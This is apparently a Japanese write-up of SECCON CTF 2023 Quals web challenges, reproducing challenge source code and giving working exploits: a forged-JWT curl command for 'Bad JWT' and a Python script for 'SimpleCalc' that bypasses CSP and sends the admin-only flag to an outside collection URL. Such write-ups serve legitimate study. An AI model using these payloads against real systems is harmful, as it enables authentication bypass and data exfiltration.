SECCON CTF 2023 Quals Writeup/Upsolves
Table of Contents
はじめに
2023/09/16-17にかけて開催されたSECCON CTF 2023 QualsにチームBunkyoWesternsのメンバーとして参加しました。Internationalでは24/653位、Domesticでは2位でした。
SECCON CTF QualsはBunkyoWesternsに誘っていただいたので参加してました
— task4233 (@task4233) September 17, 2023
Webの簡単なやつだけ通して椅子を温めてました
こちらでは私が解いた問題のWriteupと一部のUpsolvesを共有します。ほとんどTBDなのはすみません 🙇
Web
Bad JWT(107 solved/98pts)
I think this JWT implementation is not bad.
index.js
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const secret = require('crypto').randomBytes(32).toString('hex');
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send('Authentication failed');
}
return next();
})
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
jwt.js
const crypto = require('crypto');
const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}
const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}
const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');
const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);
return { header: parsedHeader, payload: parsedPayload, signature }
}
const sign = (alg, payload, secret) => {
const header = {
typ: 'JWT',
alg: alg
}
const signature = createSignature(header, payload, secret);
const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
module.exports = { sign, verify }
問題概要は以下の通り。
- FLAGは、
GET /
してreq.session.isAdmin === true
が満たされると得られる - 全てのリクエストにおいて、Cookieのsessionに含まれるJWTのverifyが行われる
isAdmin === true
を満たすためには、単純にJWTのpayloadを {”isAdmin”:true}
にすれば良い。しかし、単にpayloadを編集するのみではsignatureが正しくないのでJWTのverifyに弾かれ、/
のエンドポイント実装に辿り着かない。したがって、verifyのロジックをバイパスすることを次の目的とする。
verifyのロジックは以下の通り。
// jwt.js
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
verifyをパスするためにBuffer.compare(calculated_buf, expected_buf) === 0
を満たせば良いことが分かるので、 createSignature
の実装を見る。
// jwt.js
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}
// index.js
const secret = require('crypto').randomBytes(32).toString('hex');
signature
は algorithms[header.alg.toLowerCase()](data, secret)
で定義されている。ここで、僕たちが操作できるのは header.alg
までで、 secret
はランダム文字列なので特定することが難しいと分かる。したがって、どうにかして algorithms[任意の文字列.toLowerCase()](data, secret)
の値を固定値にしたいという気持ちになる。
手元でガチャガチャやると、 algorithms["constructor".toLowerCase()](data, secret)
が評価される場合、常に signature
に data
が格納されることに気づける。 data
の定義は ${stringifyPart(header)}.${stringifyPart(payload)}
なので、これをJWTのsignatureに設定すれば良い。
ここで、JWTのsignatureに .
が含まれるとJWT formatが壊れるように思える。しかし、手元で試すと比較時に .
が抜け落ちることが分かるので、 signatureは ${stringifyPart(header)}${stringifyPart(payload)}
にすれば良い。
したがって、エクスプロイトは以下の通り。
curl http://bad-jwt.seccon.games:3000/ \
-H "Cookie: session=eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ%3D%3D"
blink(14 solved/240pts)
Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement
<blink>
.
- Challenge: http://blink.seccon.games:3000
- Admin bot: http://blink.seccon.games:1337
web/public/main.js
const wrap = (obj) =>
new Proxy(obj, {
get: (target, prop) => {
const res = target[prop];
return typeof res === "function" ? res.bind(target) : res;
},
set: (target, prop, value) => (target[prop] = value),
});
const $ = wrap(document).querySelector;
const sandboxAttribute = [
"allow-downloads",
"allow-forms",
"allow-modals",
"allow-orientation-lock",
"allow-pointer-lock",
"allow-popups",
"allow-popups-to-escape-sandbox",
"allow-presentation",
"allow-same-origin",
// "allow-scripts", // disallow
"allow-top-navigation",
"allow-top-navigation-by-user-activation",
"allow-top-navigation-to-custom-protocols",
].join(" ");
const createBlink = async (html) => {
const sandbox = wrap(
$("#viewer").appendChild(document.createElement("iframe"))
);
// I believe it is impossible to escape this iframe sandbox...
sandbox.sandbox = sandboxAttribute;
sandbox.width = "100%";
sandbox.srcdoc = html;
await new Promise((resolve) => (sandbox.onload = resolve));
const target = wrap(sandbox.contentDocument.body);
target.popover = "manual";
const id = setInterval(target.togglePopover, 400);
return () => {
clearInterval(id);
sandbox.remove();
};
};
$("#render").addEventListener("click", async () => {
const html = $("#html").value;
if (!html) return;
location.hash = html;
const deleteBlink = await createBlink(html);
const button = wrap(
$("#viewer").appendChild(document.createElement("button"))
);
button.textContent = "Delete";
button.addEventListener("click", () => {
deleteBlink();
button.remove();
});
});
const initialHtml = decodeURIComponent(location.hash.slice(1));
if (initialHtml) {
$("#html").value = initialHtml;
$("#render").click();
}
web/public/index.html
<!DOCTYPE html>
<html data-theme="light">
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css">
<title>demo</title>
</head>
<body>
<main class="container">
<hgroup>
<h2>bl👁nk</h2>
<h3>A demo page for the excellent <blink> implementation. You can render HTMLs freely!</h3>
</hgroup>
<textarea id="html"></textarea>
<button id="render">Render</button>
<div id="viewer"></div>
<footer style="text-align: center;">
<hr>
<small>Powered by <a href="https://developer.mozilla.org/en-US/docs/Web/API/Popover_API">Popover API</a></small>
</footer>
</main>
<script src="main.js"></script>
</body>
</html>
web/index.js
const app = require("fastify")();
const PORT = 3000;
app.register(require("@fastify/static"), {
root: require("node:path").join(__dirname, "public"),
});
app.listen({ port: PORT, host: "0.0.0.0" }).catch((err) => {
app.log.error(err);
process.exit(1);
});
TBD。他の方のWriteupが出るのを待ちます。
eeeeejs(12 solved/257pts)
Can you bypass all mitigations?
- Challenge: http://eeeeejs.seccon.games:3000
- Admin bot: http://eeeeejs.seccon.games:1337
TBD。理解に時間がかかりそうなので後回しにします。
hidden-note(1 solved/500pts)
Shared pages hide your secret notes.
- Challenge: http://hidden-note.seccon.games:3000
- Admin bot: http://hidden-note.seccon.games:1337
TBD。他の方のWriteupが出るのを待ちます。
SimpleCalc(23 solved/193pts)
This is a simplest calculator app.
Note: Don’t forget that the target host is localhost from the admin bot.
src/index.js
// src/index.js
const FLAG = process.env.FLAG ?? console.log('No flag') ?? process.exit(1);
const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1);
const PORT = '3000';
const express = require('express');
const rateLimit = require('express-rate-limit');
const cookieParser = require('cookie-parser');
const { visit } = require('./bot.js');
const reportLimiter = rateLimit({
// Limit each IP to 1 request per 10 seconds
windowMs: 10 * 1000,
max: 1,
});
const app = express();
app.use((req, res, next) => {
const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
next();
});
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.get('/flag', (req, res) => {
if (req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')) {
return res.send('No flag for you!');
}
return res.send(FLAG);
});
app.post('/report', reportLimiter, async (req, res) => {
const { expr } = req.body;
const url = new URL(`http://localhost:${PORT}/`)
url.searchParams.append('expr', expr);
try {
await visit(url);
return res.sendStatus(200);
} catch (err) {
console.error(err);
return res.status(500).send('Something wrong');
}
});
app.use('/', express.static('static'));
app.listen(PORT, () => {
console.log(`Web server listening on port ${PORT}`);
});
src/bot.js
// src/bot.js
const puppeteer = require('puppeteer');
const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1);
const APP_HOST = 'localhost';
const APP_PORT = '3000';
const sleep = async (msec) => new Promise((resolve) => setTimeout(resolve, msec));
const visit = async (url) => {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
executablePath: '/usr/bin/google-chrome-stable',
args: ['--no-sandbox'],
});
const context = await browser.createIncognitoBrowserContext();
try {
const page = await context.newPage();
await page.setCookie({
name: 'token',
value: ADMIN_TOKEN,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
});
await page.goto(url, { timeout: 3 * 1000 });
await sleep(3 * 1000);
await page.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
};
module.exports = { visit }
src/static/index.html
<!-- src/static/index.html -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Simple Calc</title>
</head>
<body>
<h1>Simple Calc</h1>
<form method="GET" action="/">
<input type="text" name="expr" placeholder="7 * 7"></input>
<input type="submit" value="Calc">
<input type="submit" value="Report" formmethod="POST" formaction="/report">
</form>
<div>
Result: <span id="result"></span>
</div>
<script src="/js/index.js"></script>
</body>
</html>
src/static/js/index.js
// src/static/js/index.js
const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();
問題概要は以下の通り。
- FLAGは、
GET /flag
して、req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')
が満たされた時に得られる ADMIN_TOKEN
はPOST /report
で実行されるbotのhttpOnly
なCookieにある- 全てのハンドラにおいて、CSPヘッダが以下のコードで付与される
const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
expr
というquery parameterの値を以下の通りevalしている
const params = new URLSearchParams(location.search);
const result = eval(params.get('expr')); // query parameterのexprをeval
document.getElementById('result').innerText = result.toString(); // 結果をid=resultのDOMのinnerTextに格納
Flagを得るためには、botのCookieに含まれる ADMIN_TOKEN
を得る必要がある。ここでの大きな問題は、Cookieの httpOnly
属性である。 httpOnly
属性はJavaScriptのDocument.cookie
APIからアクセスが出来ない。
ref: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies
そこで、ADMIN_TOKEN
を抜き出すのではなく、botのリクエストに含まれる資格情報を流用して(ref)、fetch APIにてGET /flag
リクエストを行いたい。しかし、CSPヘッダが設定されているためfetch APIの実行が制限される。そこで、次の目的をCSPヘッダのバイパスとする。
CSPヘッダのバイパス方法として、巨大なクエリパラメータを設定する方法が利用できる。これは手元でガチャガチャやると気づける。PoCは以下の通り。大きなクエリパラメータを設定すると、CSPヘッダが設定されないことが分かる。
PoC
import requests
target_url = "http://simplecalc.seccon.games:3000"
payload = "a" * 10
params = {
"expr": payload,
}
resp = requests.get(target_url, params=params)
print(f"headers: {resp.headers}")
print(f"body: {resp.text}")
# headers: {'X-Powered-By': 'Express', 'Content-Security-Policy': "default-src http://simplecalc.seccon.games:3000/js/index.js 'unsafe-eval';", 'Accept-Ranges': 'bytes', 'Cache-Control': 'public, max-age=0', 'Last-Modified': 'Fri, 15 Sep 2023 15:51:58 GMT', 'ETag': 'W/"1ba-18a998ab400"', 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': '442', 'Date': 'Sun, 17 Sep 2023 10:43:38 GMT', 'Connection': 'keep-alive', 'Keep-Alive': 'timeout=5'}
# body: <!DOCTYPE html>
# <html>
# <head>
# <meta charset="utf-8">
# <title>Simple Calc</title>
# </head>
# <body>
# <h1>Simple Calc</h1>
# <form method="GET" action="/">
# <input type="text" name="expr" placeholder="7 * 7"></input>
# <input type="submit" value="Calc">
# <input type="submit" value="Report" formmethod="POST" formaction="/report">
# </form>
# <div>
# Result: <span id="result"></span>
# </div>
# <script src="/js/index.js"></script>
# </body>
# </html>
payload = "a" * 30000
resp = requests.get(target_url, params=params)
print(f"headers: {resp.headers}")
# print(f"body: {resp.text}")
# headers: {'Connection': 'close'} // CSP header is lacked.
これにより、CSPの制限なくJavaScriptを実行できるようになる。ただし、実際にchromeで実行するとHTTP ERROR 431
用のページが表示され、それ以降の処理が続かないように見える。
そこで、iframe要素のsrc属性とonload属性を利用する。これは知らなかったのだが(よく考えたら当たり前かもしれないが)、src属性の読み込みが終わった後にonload属性に指定されたスクリプトが実行される。これは、以下の通りChromeのconsoleで確認できる。
src属性で参照するファイル
<!-- /tmp/script.html -->
<script>console.log('script.html is loaded.');</script>
Chromeで表示させるHTMLファイル
<!-- /tmp/index.html -->
<!DOCTYPE html>
index.html
Chromeのコンソール
したがって、以下の順序でCSPを無効化しつつ、fetch APIでFlagをリークさせることができる。
- 作成されたiframe要素が
document.body
にappendされる - iframeのsrc属性として、非常に大きなquery stringが付与された
/js/index.js
がCSPヘッダなしでロードされる - iframeのonload属性で、iframe要素の
contentWindow
プロパティを介してfetch APIが実行される
エクスプロイトコードは以下の通り。
from urllib.parse import urlencode
import requests
target_url = "http://simplecalc.seccon.games:3000"
attacker_url = "https://eoljd6ta1qq0d9f.m.pipedream.net"
payload = f"""
var i=document.createElement('iframe');
i.src = `/js/index.js?expr=${{'a'.repeat(20000)}}`;
i.onload = () => {{
i.contentWindow.fetch('/flag', {{headers: {{'X-FLAG': true}}, credentials: 'include'}}).then(res=>res.text()).then(res=>location.href='{attacker_url}?q='+res);
}};
document.body.appendChild(i);
"""
payload = urlencode({"expr": payload})
resp = requests.post(
f"{target_url}/report",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=payload,
)
おわりに
チームメンバーが強すぎました。結果的にメンバー全員が1solve以上して置物にならなかったのは良かったと思います。僕はWebの簡単な問題を1問通しただけなので悔しかったです。
Web問に関しては、発想の転換みたいなものに至るまで、手元で試行錯誤することが重要なのだなとしみじみ思いました。考えるだけでは気付けないことが沢山あったので。
それと、何事もなければ決勝に行くと思います。めでたいですね。僕は同日にSECCON Beginnersのブースで講義があって参加できないので、当日は他メンバーを応援していようと思います。
最後になりますが、運営と作問陣の皆さん、作問と運営お疲れさまでした。決勝も陰ながら応援しています。